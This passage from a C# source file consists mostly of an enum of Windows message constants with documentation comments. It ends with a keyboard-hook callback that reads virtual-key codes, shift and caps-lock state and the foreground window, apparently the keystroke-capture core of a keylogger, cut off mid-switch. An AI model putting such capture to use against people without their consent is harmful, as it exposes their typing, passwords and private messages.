  570.             /// Sent to an application when the IME changes composition status as a result of a keystroke. A window receives this message through its WindowProc function.
  571.             /// </summary>
  572.             IME_COMPOSITION = 0x010F,
  573.             IME_KEYLAST = 0x010F,
  574.             /// <summary>
  575.             /// The WM_INITDIALOG message is sent to the dialog box procedure immediately before a dialog box is displayed. Dialog box procedures typically use this message to initialize controls and carry out any other initialization tasks that affect the appearance of the dialog box.
  576.             /// </summary>
  577.             INITDIALOG = 0x0110,
  578.             /// <summary>
  579.             /// The WM_COMMAND message is sent when the user selects a command item from a menu, when a control sends a notification message to its parent window, or when an accelerator keystroke is translated.
  580.             /// </summary>
  581.             COMMAND = 0x0111,
  582.             /// <summary>
  583.             /// A window receives this message when the user chooses a command from the Window menu, clicks the maximize button, minimize button, restore button, close button, or moves the form. You can stop the form from moving by filtering this out.
  584.             /// </summary>
  585.             SYSCOMMAND = 0x0112,
  586.             /// <summary>
  587.             /// The WM_TIMER message is posted to the installing thread's message queue when a timer expires. The message is posted by the GetMessage or PeekMessage function.
  588.             /// </summary>
  589.             TIMER = 0x0113,
  590.             /// <summary>
  591.             /// The WM_HSCROLL message is sent to a window when a scroll event occurs in the window's standard horizontal scroll bar. This message is also sent to the owner of a horizontal scroll bar control when a scroll event occurs in the control.
  592.             /// </summary>
  593.             HSCROLL = 0x0114,
  594.             /// <summary>
  595.             /// The WM_VSCROLL message is sent to a window when a scroll event occurs in the window's standard vertical scroll bar. This message is also sent to the owner of a vertical scroll bar control when a scroll event occurs in the control.
  596.             /// </summary>
  597.             VSCROLL = 0x0115,
  598.             /// <summary>
  599.             /// The WM_INITMENU message is sent when a menu is about to become active. It occurs when the user clicks an item on the menu bar or presses a menu key. This allows the application to modify the menu before it is displayed.
  600.             /// </summary>
  601.             INITMENU = 0x0116,
  602.             /// <summary>
  603.             /// The WM_INITMENUPOPUP message is sent when a drop-down menu or submenu is about to become active. This allows an application to modify the menu before it is displayed, without changing the entire menu.
  604.             /// </summary>
  605.             INITMENUPOPUP = 0x0117,
  606.             /// <summary>
  607.             /// The WM_MENUSELECT message is sent to a menu's owner window when the user selects a menu item.
  608.             /// </summary>
  609.             MENUSELECT = 0x011F,
  610.             /// <summary>
  611.             /// The WM_MENUCHAR message is sent when a menu is active and the user presses a key that does not correspond to any mnemonic or accelerator key. This message is sent to the window that owns the menu.
  612.             /// </summary>
  613.             MENUCHAR = 0x0120,
  614.             /// <summary>
  615.             /// The WM_ENTERIDLE message is sent to the owner window of a modal dialog box or menu that is entering an idle state. A modal dialog box or menu enters an idle state when no messages are waiting in its queue after it has processed one or more previous messages.
  616.             /// </summary>
  617.             ENTERIDLE = 0x0121,
  618.             /// <summary>
  619.             /// The WM_MENURBUTTONUP message is sent when the user releases the right mouse button while the cursor is on a menu item.
  620.             /// </summary>
  621.             MENURBUTTONUP = 0x0122,
  622.             /// <summary>
  623.             /// The WM_MENUDRAG message is sent to the owner of a drag-and-drop menu when the user drags a menu item.
  624.             /// </summary>
  625.             MENUDRAG = 0x0123,
  626.             /// <summary>
  627.             /// The WM_MENUGETOBJECT message is sent to the owner of a drag-and-drop menu when the mouse cursor enters a menu item or moves from the center of the item to the top or bottom of the item.
  628.             /// </summary>
  629.             MENUGETOBJECT = 0x0124,
  630.             /// <summary>
  631.             /// The WM_UNINITMENUPOPUP message is sent when a drop-down menu or submenu has been destroyed.
  632.             /// </summary>
  633.             UNINITMENUPOPUP = 0x0125,
  634.             /// <summary>
  635.             /// The WM_MENUCOMMAND message is sent when the user makes a selection from a menu.
  636.             /// </summary>
  637.             MENUCOMMAND = 0x0126,
  638.             /// <summary>
  639.             /// An application sends the WM_CHANGEUISTATE message to indicate that the user interface (UI) state should be changed.
  640.             /// </summary>
  641.             CHANGEUISTATE = 0x0127,
  642.             /// <summary>
  643.             /// An application sends the WM_UPDATEUISTATE message to change the user interface (UI) state for the specified window and all its child windows.
  644.             /// </summary>
  645.             UPDATEUISTATE = 0x0128,
  646.             /// <summary>
  647.             /// An application sends the WM_QUERYUISTATE message to retrieve the user interface (UI) state for a window.
  648.             /// </summary>
  649.             QUERYUISTATE = 0x0129,
  650.             /// <summary>
  651.             /// The WM_CTLCOLORMSGBOX message is sent to the owner window of a message box before Windows draws the message box. By responding to this message, the owner window can set the text and background colors of the message box by using the given display device context handle.
  652.             /// </summary>
  653.             CTLCOLORMSGBOX = 0x0132,
  654.             /// <summary>
  655.             /// An edit control that is not read-only or disabled sends the WM_CTLCOLOREDIT message to its parent window when the control is about to be drawn. By responding to this message, the parent window can use the specified device context handle to set the text and background colors of the edit control.
  656.             /// </summary>
  657.             CTLCOLOREDIT = 0x0133,
  658.             /// <summary>
  659.             /// Sent to the parent window of a list box before the system draws the list box. By responding to this message, the parent window can set the text and background colors of the list box by using the specified display device context handle.
  660.             /// </summary>
  661.             CTLCOLORLISTBOX = 0x0134,
  662.             /// <summary>
  663.             /// The WM_CTLCOLORBTN message is sent to the parent window of a button before drawing the button. The parent window can change the button's text and background colors. However, only owner-drawn buttons respond to the parent window processing this message.
  664.             /// </summary>
  665.             CTLCOLORBTN = 0x0135,
  666.             /// <summary>
  667.             /// The WM_CTLCOLORDLG message is sent to a dialog box before the system draws the dialog box. By responding to this message, the dialog box can set its text and background colors using the specified display device context handle.
  668.             /// </summary>
  669.             CTLCOLORDLG = 0x0136,
  670.             /// <summary>
  671.             /// The WM_CTLCOLORSCROLLBAR message is sent to the parent window of a scroll bar control when the control is about to be drawn. By responding to this message, the parent window can use the display context handle to set the background color of the scroll bar control.
  672.             /// </summary>
  673.             CTLCOLORSCROLLBAR = 0x0137,
  674.             /// <summary>
  675.             /// A static control, or an edit control that is read-only or disabled, sends the WM_CTLCOLORSTATIC message to its parent window when the control is about to be drawn. By responding to this message, the parent window can use the specified device context handle to set the text and background colors of the static control.
  676.             /// </summary>
  677.             CTLCOLORSTATIC = 0x0138,
  678.             /// <summary>
  679.             /// Use WM_MOUSEFIRST to specify the first mouse message. Use the PeekMessage() Function.
  680.             /// </summary>
  681.             MOUSEFIRST = 0x0200,
  682.             /// <summary>
  683.             /// The WM_MOUSEMOVE message is posted to a window when the cursor moves. If the mouse is not captured, the message is posted to the window that contains the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  684.             /// </summary>
  685.             MOUSEMOVE = 0x0200,
  686.             /// <summary>
  687.             /// The WM_LBUTTONDOWN message is posted when the user presses the left mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  688.             /// </summary>
  689.             LBUTTONDOWN = 0x0201,
  690.             /// <summary>
  691.             /// The WM_LBUTTONUP message is posted when the user releases the left mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  692.             /// </summary>
  693.             LBUTTONUP = 0x0202,
  694.             /// <summary>
  695.             /// The WM_LBUTTONDBLCLK message is posted when the user double-clicks the left mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  696.             /// </summary>
  697.             LBUTTONDBLCLK = 0x0203,
  698.             /// <summary>
  699.             /// The WM_RBUTTONDOWN message is posted when the user presses the right mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  700.             /// </summary>
  701.             RBUTTONDOWN = 0x0204,
  702.             /// <summary>
  703.             /// The WM_RBUTTONUP message is posted when the user releases the right mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  704.             /// </summary>
  705.             RBUTTONUP = 0x0205,
  706.             /// <summary>
  707.             /// The WM_RBUTTONDBLCLK message is posted when the user double-clicks the right mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  708.             /// </summary>
  709.             RBUTTONDBLCLK = 0x0206,
  710.             /// <summary>
  711.             /// The WM_MBUTTONDOWN message is posted when the user presses the middle mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  712.             /// </summary>
  713.             MBUTTONDOWN = 0x0207,
  714.             /// <summary>
  715.             /// The WM_MBUTTONUP message is posted when the user releases the middle mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  716.             /// </summary>
  717.             MBUTTONUP = 0x0208,
  718.             /// <summary>
  719.             /// The WM_MBUTTONDBLCLK message is posted when the user double-clicks the middle mouse button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  720.             /// </summary>
  721.             MBUTTONDBLCLK = 0x0209,
  722.             /// <summary>
  723.             /// The WM_MOUSEWHEEL message is sent to the focus window when the mouse wheel is rotated. The DefWindowProc function propagates the message to the window's parent. There should be no internal forwarding of the message, since DefWindowProc propagates it up the parent chain until it finds a window that processes it.
  724.             /// </summary>
  725.             MOUSEWHEEL = 0x020A,
  726.             /// <summary>
  727.             /// The WM_XBUTTONDOWN message is posted when the user presses the first or second X button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  728.             /// </summary>
  729.             XBUTTONDOWN = 0x020B,
  730.             /// <summary>
  731.             /// The WM_XBUTTONUP message is posted when the user releases the first or second X button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  732.             /// </summary>
  733.             XBUTTONUP = 0x020C,
  734.             /// <summary>
  735.             /// The WM_XBUTTONDBLCLK message is posted when the user double-clicks the first or second X button while the cursor is in the client area of a window. If the mouse is not captured, the message is posted to the window beneath the cursor. Otherwise, the message is posted to the window that has captured the mouse.
  736.             /// </summary>
  737.             XBUTTONDBLCLK = 0x020D,
  738.             /// <summary>
  739.             /// The WM_MOUSEHWHEEL message is sent to the focus window when the mouse's horizontal scroll wheel is tilted or rotated. The DefWindowProc function propagates the message to the window's parent. There should be no internal forwarding of the message, since DefWindowProc propagates it up the parent chain until it finds a window that processes it.
  740.             /// </summary>
  741.             MOUSEHWHEEL = 0x020E,
  742.             /// <summary>
  743.             /// Use WM_MOUSELAST to specify the last mouse message. Used with PeekMessage() Function.
  744.             /// </summary>
  745.             MOUSELAST = 0x020E,
  746.             /// <summary>
  747.             /// The WM_PARENTNOTIFY message is sent to the parent of a child window when the child window is created or destroyed, or when the user clicks a mouse button while the cursor is over the child window. When the child window is being created, the system sends WM_PARENTNOTIFY just before the CreateWindow or CreateWindowEx function that creates the window returns. When the child window is being destroyed, the system sends the message before any processing to destroy the window takes place.
  748.             /// </summary>
  749.             PARENTNOTIFY = 0x0210,
  750.             /// <summary>
  751.             /// The WM_ENTERMENULOOP message informs an application's main window procedure that a menu modal loop has been entered.
  752.             /// </summary>
  753.             ENTERMENULOOP = 0x0211,
  754.             /// <summary>
  755.             /// The WM_EXITMENULOOP message informs an application's main window procedure that a menu modal loop has been exited.
  756.             /// </summary>
  757.             EXITMENULOOP = 0x0212,
  758.             /// <summary>
  759.             /// The WM_NEXTMENU message is sent to an application when the right or left arrow key is used to switch between the menu bar and the system menu.
  760.             /// </summary>
  761.             NEXTMENU = 0x0213,
  762.             /// <summary>
  763.             /// The WM_SIZING message is sent to a window that the user is resizing. By processing this message, an application can monitor the size and position of the drag rectangle and, if needed, change its size or position.
  764.             /// </summary>
  765.             SIZING = 0x0214,
  766.             /// <summary>
  767.             /// The WM_CAPTURECHANGED message is sent to the window that is losing the mouse capture.
  768.             /// </summary>
  769.             CAPTURECHANGED = 0x0215,
  770.             /// <summary>
  771.             /// The WM_MOVING message is sent to a window that the user is moving. By processing this message, an application can monitor the position of the drag rectangle and, if needed, change its position.
  772.             /// </summary>
  773.             MOVING = 0x0216,
  774.             /// <summary>
  775.             /// Notifies applications that a power-management event has occurred.
  776.             /// </summary>
  777.             POWERBROADCAST = 0x0218,
  778.             /// <summary>
  779.             /// Notifies an application of a change to the hardware configuration of a device or the computer.
  780.             /// </summary>
  781.             DEVICECHANGE = 0x0219,
  782.             /// <summary>
  783.             /// An application sends the WM_MDICREATE message to a multiple-document interface (MDI) client window to create an MDI child window.
  784.             /// </summary>
  785.             MDICREATE = 0x0220,
  786.             /// <summary>
  787.             /// An application sends the WM_MDIDESTROY message to a multiple-document interface (MDI) client window to close an MDI child window.
  788.             /// </summary>
  789.             MDIDESTROY = 0x0221,
  790.             /// <summary>
  791.             /// An application sends the WM_MDIACTIVATE message to a multiple-document interface (MDI) client window to instruct the client window to activate a different MDI child window.
  792.             /// </summary>
  793.             MDIACTIVATE = 0x0222,
  794.             /// <summary>
  795.             /// An application sends the WM_MDIRESTORE message to a multiple-document interface (MDI) client window to restore an MDI child window from maximized or minimized size.
  796.             /// </summary>
  797.             MDIRESTORE = 0x0223,
  798.             /// <summary>
  799.             /// An application sends the WM_MDINEXT message to a multiple-document interface (MDI) client window to activate the next or previous child window.
  800.             /// </summary>
  801.             MDINEXT = 0x0224,
  802.             /// <summary>
  803.             /// An application sends the WM_MDIMAXIMIZE message to a multiple-document interface (MDI) client window to maximize an MDI child window. The system resizes the child window to make its client area fill the client window. The system places the child window's window menu icon in the rightmost position of the frame window's menu bar, and places the child window's restore icon in the leftmost position. The system also appends the title bar text of the child window to that of the frame window.
  804.             /// </summary>
  805.             MDIMAXIMIZE = 0x0225,
  806.             /// <summary>
  807.             /// An application sends the WM_MDITILE message to a multiple-document interface (MDI) client window to arrange all of its MDI child windows in a tile format.
  808.             /// </summary>
  809.             MDITILE = 0x0226,
  810.             /// <summary>
  811.             /// An application sends the WM_MDICASCADE message to a multiple-document interface (MDI) client window to arrange all its child windows in a cascade format.
  812.             /// </summary>
  813.             MDICASCADE = 0x0227,
  814.             /// <summary>
  815.             /// An application sends the WM_MDIICONARRANGE message to a multiple-document interface (MDI) client window to arrange all minimized MDI child windows. It does not affect child windows that are not minimized.
  816.             /// </summary>
  817.             MDIICONARRANGE = 0x0228,
  818.             /// <summary>
  819.             /// An application sends the WM_MDIGETACTIVE message to a multiple-document interface (MDI) client window to retrieve the handle to the active MDI child window.
  820.             /// </summary>
  821.             MDIGETACTIVE = 0x0229,
  822.             /// <summary>
  823.             /// An application sends the WM_MDISETMENU message to a multiple-document interface (MDI) client window to replace the entire menu of an MDI frame window, to replace the window menu of the frame window, or both.
  824.             /// </summary>
  825.             MDISETMENU = 0x0230,
  826.             /// <summary>
  827.             /// The WM_ENTERSIZEMOVE message is sent one time to a window after it enters the moving or sizing modal loop. The window enters the moving or sizing modal loop when the user clicks the window's title bar or sizing border, or when the window passes the WM_SYSCOMMAND message to the DefWindowProc function and the wParam parameter of the message specifies the SC_MOVE or SC_SIZE value. The operation is complete when DefWindowProc returns.
  828.             /// The system sends the WM_ENTERSIZEMOVE message regardless of whether the dragging of full windows is enabled.
  829.             /// </summary>
  830.             ENTERSIZEMOVE = 0x0231,
  831.             /// <summary>
  832.             /// The WM_EXITSIZEMOVE message is sent one time to a window, after it has exited the moving or sizing modal loop. The window enters the moving or sizing modal loop when the user clicks the window's title bar or sizing border, or when the window passes the WM_SYSCOMMAND message to the DefWindowProc function and the wParam parameter of the message specifies the SC_MOVE or SC_SIZE value. The operation is complete when DefWindowProc returns.
  833.             /// </summary>
  834.             EXITSIZEMOVE = 0x0232,
  835.             /// <summary>
  836.             /// Sent when the user drops a file on the window of an application that has registered itself as a recipient of dropped files.
  837.             /// </summary>
  838.             DROPFILES = 0x0233,
  839.             /// <summary>
  840.             /// An application sends the WM_MDIREFRESHMENU message to a multiple-document interface (MDI) client window to refresh the window menu of the MDI frame window.
  841.             /// </summary>
  842.             MDIREFRESHMENU = 0x0234,
  843.             /// <summary>
  844.             /// Sent to an application when a window is activated. A window receives this message through its WindowProc function.
  845.             /// </summary>
  846.             IME_SETCONTEXT = 0x0281,
  847.             /// <summary>
  848.             /// Sent to an application to notify it of changes to the IME window. A window receives this message through its WindowProc function.
  849.             /// </summary>
  850.             IME_NOTIFY = 0x0282,
  851.             /// <summary>
  852.             /// Sent by an application to direct the IME window to carry out the requested command. The application uses this message to control the IME window that it has created. To send this message, the application calls the SendMessage function with the following parameters.
  853.             /// </summary>
  854.             IME_CONTROL = 0x0283,
  855.             /// <summary>
  856.             /// Sent to an application when the IME window finds no space to extend the area for the composition window. A window receives this message through its WindowProc function.
  857.             /// </summary>
  858.             IME_COMPOSITIONFULL = 0x0284,
  859.             /// <summary>
  860.             /// Sent to an application when the operating system is about to change the current IME. A window receives this message through its WindowProc function.
  861.             /// </summary>
  862.             IME_SELECT = 0x0285,
  863.             /// <summary>
  864.             /// Sent to an application when the IME gets a character of the conversion result. A window receives this message through its WindowProc function.
  865.             /// </summary>
  866.             IME_CHAR = 0x0286,
  867.             /// <summary>
  868.             /// Sent to an application to provide commands and request information. A window receives this message through its WindowProc function.
  869.             /// </summary>
  870.             IME_REQUEST = 0x0288,
  871.             /// <summary>
  872.             /// Sent to an application by the IME to notify the application of a key press and to keep message order. A window receives this message through its WindowProc function.
  873.             /// </summary>
  874.             IME_KEYDOWN = 0x0290,
  875.             /// <summary>
  876.             /// Sent to an application by the IME to notify the application of a key release and to keep message order. A window receives this message through its WindowProc function.
  877.             /// </summary>
  878.             IME_KEYUP = 0x0291,
  879.             /// <summary>
  880.             /// The WM_MOUSEHOVER message is posted to a window when the cursor hovers over the client area of the window for the period of time specified in a prior call to TrackMouseEvent.
  881.             /// </summary>
  882.             MOUSEHOVER = 0x02A1,
  883.             /// <summary>
  884.             /// The WM_MOUSELEAVE message is posted to a window when the cursor leaves the client area of the window specified in a prior call to TrackMouseEvent.
  885.             /// </summary>
  886.             MOUSELEAVE = 0x02A3,
  887.             /// <summary>
  888.             /// The WM_NCMOUSEHOVER message is posted to a window when the cursor hovers over the nonclient area of the window for the period of time specified in a prior call to TrackMouseEvent.
  889.             /// </summary>
  890.             NCMOUSEHOVER = 0x02A0,
  891.             /// <summary>
  892.             /// The WM_NCMOUSELEAVE message is posted to a window when the cursor leaves the nonclient area of the window specified in a prior call to TrackMouseEvent.
  893.             /// </summary>
  894.             NCMOUSELEAVE = 0x02A2,
  895.             /// <summary>
  896.             /// The WM_WTSSESSION_CHANGE message notifies applications of changes in session state.
  897.             /// </summary>
  898.             WTSSESSION_CHANGE = 0x02B1,
  899.             TABLET_FIRST = 0x02c0,
  900.             TABLET_LAST = 0x02df,
  901.             /// <summary>
  902.             /// An application sends a WM_CUT message to an edit control or combo box to delete (cut) the current selection, if any, in the edit control and copy the deleted text to the clipboard in CF_TEXT format.
  903.             /// </summary>
  904.             CUT = 0x0300,
  905.             /// <summary>
  906.             /// An application sends the WM_COPY message to an edit control or combo box to copy the current selection to the clipboard in CF_TEXT format.
  907.             /// </summary>
  908.             COPY = 0x0301,
  909.             /// <summary>
  910.             /// An application sends a WM_PASTE message to an edit control or combo box to copy the current content of the clipboard to the edit control at the current caret position. Data is inserted only if the clipboard contains data in CF_TEXT format.
  911.             /// </summary>
  912.             PASTE = 0x0302,
  913.             /// <summary>
  914.             /// An application sends a WM_CLEAR message to an edit control or combo box to delete (clear) the current selection, if any, from the edit control.
  915.             /// </summary>
  916.             CLEAR = 0x0303,
  917.             /// <summary>
  918.             /// An application sends a WM_UNDO message to an edit control to undo the last operation. When this message is sent to an edit control, the previously deleted text is restored or the previously added text is deleted.
  919.             /// </summary>
  920.             UNDO = 0x0304,
  921.             /// <summary>
  922.             /// The WM_RENDERFORMAT message is sent to the clipboard owner if it has delayed rendering a specific clipboard format and if an application has requested data in that format. The clipboard owner must render data in the specified format and place it on the clipboard by calling the SetClipboardData function.
  923.             /// </summary>
  924.             RENDERFORMAT = 0x0305,
  925.             /// <summary>
  926.             /// The WM_RENDERALLFORMATS message is sent to the clipboard owner before it is destroyed, if the clipboard owner has delayed rendering one or more clipboard formats. For the content of the clipboard to remain available to other applications, the clipboard owner must render data in all the formats it is capable of generating, and place the data on the clipboard by calling the SetClipboardData function.
  927.             /// </summary>
  928.             RENDERALLFORMATS = 0x0306,
  929.             /// <summary>
  930.             /// The WM_DESTROYCLIPBOARD message is sent to the clipboard owner when a call to the EmptyClipboard function empties the clipboard.
  931.             /// </summary>
  932.             DESTROYCLIPBOARD = 0x0307,
  933.             /// <summary>
  934.             /// The WM_DRAWCLIPBOARD message is sent to the first window in the clipboard viewer chain when the content of the clipboard changes. This enables a clipboard viewer window to display the new content of the clipboard.
  935.             /// </summary>
  936.             DRAWCLIPBOARD = 0x0308,
  937.             /// <summary>
  938.             /// The WM_PAINTCLIPBOARD message is sent to the clipboard owner by a clipboard viewer window when the clipboard contains data in the CF_OWNERDISPLAY format and the clipboard viewer's client area needs repainting.
  939.             /// </summary>
  940.             PAINTCLIPBOARD = 0x0309,
  941.             /// <summary>
  942.             /// The WM_VSCROLLCLIPBOARD message is sent to the clipboard owner by a clipboard viewer window when the clipboard contains data in the CF_OWNERDISPLAY format and an event occurs in the clipboard viewer's vertical scroll bar. The owner should scroll the clipboard image and update the scroll bar values.
  943.             /// </summary>
  944.             VSCROLLCLIPBOARD = 0x030A,
  945.             /// <summary>
  946.             /// The WM_SIZECLIPBOARD message is sent to the clipboard owner by a clipboard viewer window when the clipboard contains data in the CF_OWNERDISPLAY format and the clipboard viewer's client area has changed size.
  947.             /// </summary>
  948.             SIZECLIPBOARD = 0x030B,
  949.             /// <summary>
  950.             /// The WM_ASKCBFORMATNAME message is sent to the clipboard owner by a clipboard viewer window to request the name of a CF_OWNERDISPLAY clipboard format.
  951.             /// </summary>
  952.             ASKCBFORMATNAME = 0x030C,
  953.             /// <summary>
  954.             /// The WM_CHANGECBCHAIN message is sent to the first window in the clipboard viewer chain when a window is being removed from the chain.
  955.             /// </summary>
  956.             CHANGECBCHAIN = 0x030D,
  957.             /// <summary>
  958.             /// The WM_HSCROLLCLIPBOARD message is sent to the clipboard owner by a clipboard viewer window. This occurs when the clipboard contains data in the CF_OWNERDISPLAY format and an event occurs in the clipboard viewer's horizontal scroll bar. The owner should scroll the clipboard image and update the scroll bar values.
  959.             /// </summary>
  960.             HSCROLLCLIPBOARD = 0x030E,
  961.             /// <summary>
  962.             /// This message informs a window that it is about to receive the keyboard focus, giving the window the opportunity to realize its logical palette when it receives the focus.
  963.             /// </summary>
  964.             QUERYNEWPALETTE = 0x030F,
  965.             /// <summary>
  966.             /// The WM_PALETTEISCHANGING message informs applications that an application is going to realize its logical palette.
  967.             /// </summary>
  968.             PALETTEISCHANGING = 0x0310,
  969.             /// <summary>
  970.             /// This message is sent by the OS to all top-level and overlapped windows after the window with the keyboard focus realizes its logical palette.
  971.             /// This message enables windows that do not have the keyboard focus to realize their logical palettes and update their client areas.
  972.             /// </summary>
  973.             PALETTECHANGED = 0x0311,
  974.             /// <summary>
  975.             /// The WM_HOTKEY message is posted when the user presses a hot key registered by the RegisterHotKey function. The message is placed at the top of the message queue associated with the thread that registered the hot key.
  976.             /// </summary>
  977.             HOTKEY = 0x0312,
  978.             /// <summary>
  979.             /// The WM_PRINT message is sent to a window to request that it draw itself in the specified device context, most commonly in a printer device context.
  980.             /// </summary>
  981.             PRINT = 0x0317,
  982.             /// <summary>
  983.             /// The WM_PRINTCLIENT message is sent to a window to request that it draw its client area in the specified device context, most commonly in a printer device context.
  984.             /// </summary>
  985.             PRINTCLIENT = 0x0318,
  986.             /// <summary>
  987.             /// The WM_APPCOMMAND message notifies a window that the user generated an application command event, for example, by clicking an application command button using the mouse or typing an application command key on the keyboard.
  988.             /// </summary>
  989.             APPCOMMAND = 0x0319,
  990.             /// <summary>
  991.             /// The WM_THEMECHANGED message is broadcast to every window following a theme change event. Examples of theme change events are the activation of a theme, the deactivation of a theme, or a transition from one theme to another.
  992.             /// </summary>
  993.             THEMECHANGED = 0x031A,
  994.             /// <summary>
  995.             /// Sent when the contents of the clipboard have changed.
  996.             /// </summary>
  997.             CLIPBOARDUPDATE = 0x031D,
  998.             /// <summary>
  999.             /// The system will send a window the WM_DWMCOMPOSITIONCHANGED message to indicate that the availability of desktop composition has changed.
  1000.             /// </summary>
  1001.             DWMCOMPOSITIONCHANGED = 0x031E,
  1002.             /// <summary>
  1003.             /// WM_DWMNCRENDERINGCHANGED is called when the non-client area rendering status of a window has changed. Only windows that have set the flag DWM_BLURBEHIND.fTransitionOnMaximized to true will get this message.
  1004.             /// </summary>
  1005.             DWMNCRENDERINGCHANGED = 0x031F,
  1006.             /// <summary>
  1007.             /// Sent to all top-level windows when the colorization color has changed.
  1008.             /// </summary>
  1009.             DWMCOLORIZATIONCOLORCHANGED = 0x0320,
  1010.             /// <summary>
  1011.             /// WM_DWMWINDOWMAXIMIZEDCHANGE will let you know when a DWM composed window is maximized. You also have to register for this message as well. You'd have other windowd go opaque when this message is sent.
  1012.             /// </summary>
  1013.             DWMWINDOWMAXIMIZEDCHANGE = 0x0321,
  1014.             /// <summary>
  1015.             /// Sent to request extended title bar information. A window receives this message through its WindowProc function.
  1016.             /// </summary>
  1017.             GETTITLEBARINFOEX = 0x033F,
  1018.             HANDHELDFIRST = 0x0358,
  1019.             HANDHELDLAST = 0x035F,
  1020.             AFXFIRST = 0x0360,
  1021.             AFXLAST = 0x037F,
  1022.             PENWINFIRST = 0x0380,
  1023.             PENWINLAST = 0x038F,
  1024.             /// <summary>
  1025.             /// The WM_APP constant is used by applications to help define private messages, usually of the form WM_APP+X, where X is an integer value.
  1026.             /// </summary>
  1027.             APP = 0x8000,
  1028.             /// <summary>
  1029.             /// The WM_USER constant is used by applications to help define private messages for use by private window classes, usually of the form WM_USER+X, where X is an integer value.
  1030.             /// </summary>
  1031.             USER = 0x0400,
  1032.  
  1033.             /// <summary>
  1034.             /// An application sends the WM_CPL_LAUNCH message to Windows Control Panel to request that a Control Panel application be started.
  1035.             /// </summary>
  1036.             CPL_LAUNCH = USER + 0x1000,
  1037.             /// <summary>
  1038.             /// The WM_CPL_LAUNCHED message is sent when a Control Panel application, started by the WM_CPL_LAUNCH message, has closed. The WM_CPL_LAUNCHED message is sent to the window identified by the wParam parameter of the WM_CPL_LAUNCH message that started the application.
  1039.             /// </summary>
  1040.             CPL_LAUNCHED = USER + 0x1001,
  1041.             /// <summary>
  1042.             /// WM_SYSTIMER is a well-known yet still undocumented message. Windows uses WM_SYSTIMER for internal actions like scrolling.
  1043.             /// </summary>
  1044.             SYSTIMER = 0x118,
  1045.  
  1046.             /// <summary>
  1047.             /// The accessibility state has changed.
  1048.             /// </summary>
  1049.             HSHELL_ACCESSIBILITYSTATE = 11,
  1050.             /// <summary>
  1051.             /// The shell should activate its main window.
  1052.             /// </summary>
  1053.             HSHELL_ACTIVATESHELLWINDOW = 3,
  1054.             /// <summary>
  1055.             /// The user completed an input event (for example, pressed an application command button on the mouse or an application command key on the keyboard), and the application did not handle the WM_APPCOMMAND message generated by that input.
  1056.             /// If the Shell procedure handles the WM_COMMAND message, it should not call CallNextHookEx. See the Return Value section for more information.
  1057.             /// </summary>
  1058.             HSHELL_APPCOMMAND = 12,
  1059.             /// <summary>
  1060.             /// A window is being minimized or maximized. The system needs the coordinates of the minimized rectangle for the window.
  1061.             /// </summary>
  1062.             HSHELL_GETMINRECT = 5,
  1063.             /// <summary>
  1064.             /// Keyboard language was changed or a new keyboard layout was loaded.
  1065.             /// </summary>
  1066.             HSHELL_LANGUAGE = 8,
  1067.             /// <summary>
  1068.             /// The title of a window in the task bar has been redrawn.
  1069.             /// </summary>
  1070.             HSHELL_REDRAW = 6,
  1071.             /// <summary>
  1072.             /// The user has selected the task list. A shell application that provides a task list should return TRUE to prevent Windows from starting its task list.
  1073.             /// </summary>
  1074.             HSHELL_TASKMAN = 7,
  1075.             /// <summary>
  1076.             /// A top-level, unowned window has been created. The window exists when the system calls this hook.
  1077.             /// </summary>
  1078.             HSHELL_WINDOWCREATED = 1,
  1079.             /// <summary>
  1080.             /// A top-level, unowned window is about to be destroyed. The window still exists when the system calls this hook.
  1081.             /// </summary>
  1082.             HSHELL_WINDOWDESTROYED = 2,
  1083.             /// <summary>
  1084.             /// The activation has changed to a different top-level, unowned window.
  1085.             /// </summary>
  1086.             HSHELL_WINDOWACTIVATED = 4,
  1087.             /// <summary>
  1088.             /// A top-level window is being replaced. The window exists when the system calls this hook.
  1089.             /// </summary>
  1090.             HSHELL_WINDOWREPLACED = 13
  1091.         }
  1092.  
  1093.         private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)
  1094.         {
  1095.             Int32 msgType = wParam.ToInt32();
  1096.             Int32 vKey;
  1097.             string key = "";
  1098.             if (code >= 0 && (msgType == 0x100 || msgType == 0x104))
  1099.             {
  1100.                 bool shift = false;
  1101.                 IntPtr hWindow = GetForegroundWindow();
  1102.                 short shiftState = GetAsyncKeyState(Keys.ShiftKey);
  1103.                 if ((shiftState & 0x8000) == 0x8000)
  1104.                 {
  1105.                     shift = true;
  1106.                 }
  1107.                 var caps = Console.CapsLock;
  1108.                 // read virtual key from buffer
  1109.                 vKey = Marshal.ReadInt32(lParam);
  1110.                 // Parse key
  1111.                 if (vKey > 64 && vKey < 91)
  1112.                 {
  1113.                     if (shift | caps)
  1114.                     {
  1115.                         key = ((Keys)vKey).ToString();
  1116.                     }
  1117.                     else
  1118.                     {
  1119.                         key = ((Keys)vKey).ToString().ToLower();
  1120.                     }
  1121.                 }
  1122.                 else if (vKey >= 96 && vKey <= 111)
  1123.                 {
  1124.                     switch (vKey)
  1125.                     {
  1126.                         case 96:
  1127.                             key = "0";
  1128.                             break;
  1129.                         case 97:
  1130.                             key = "1";
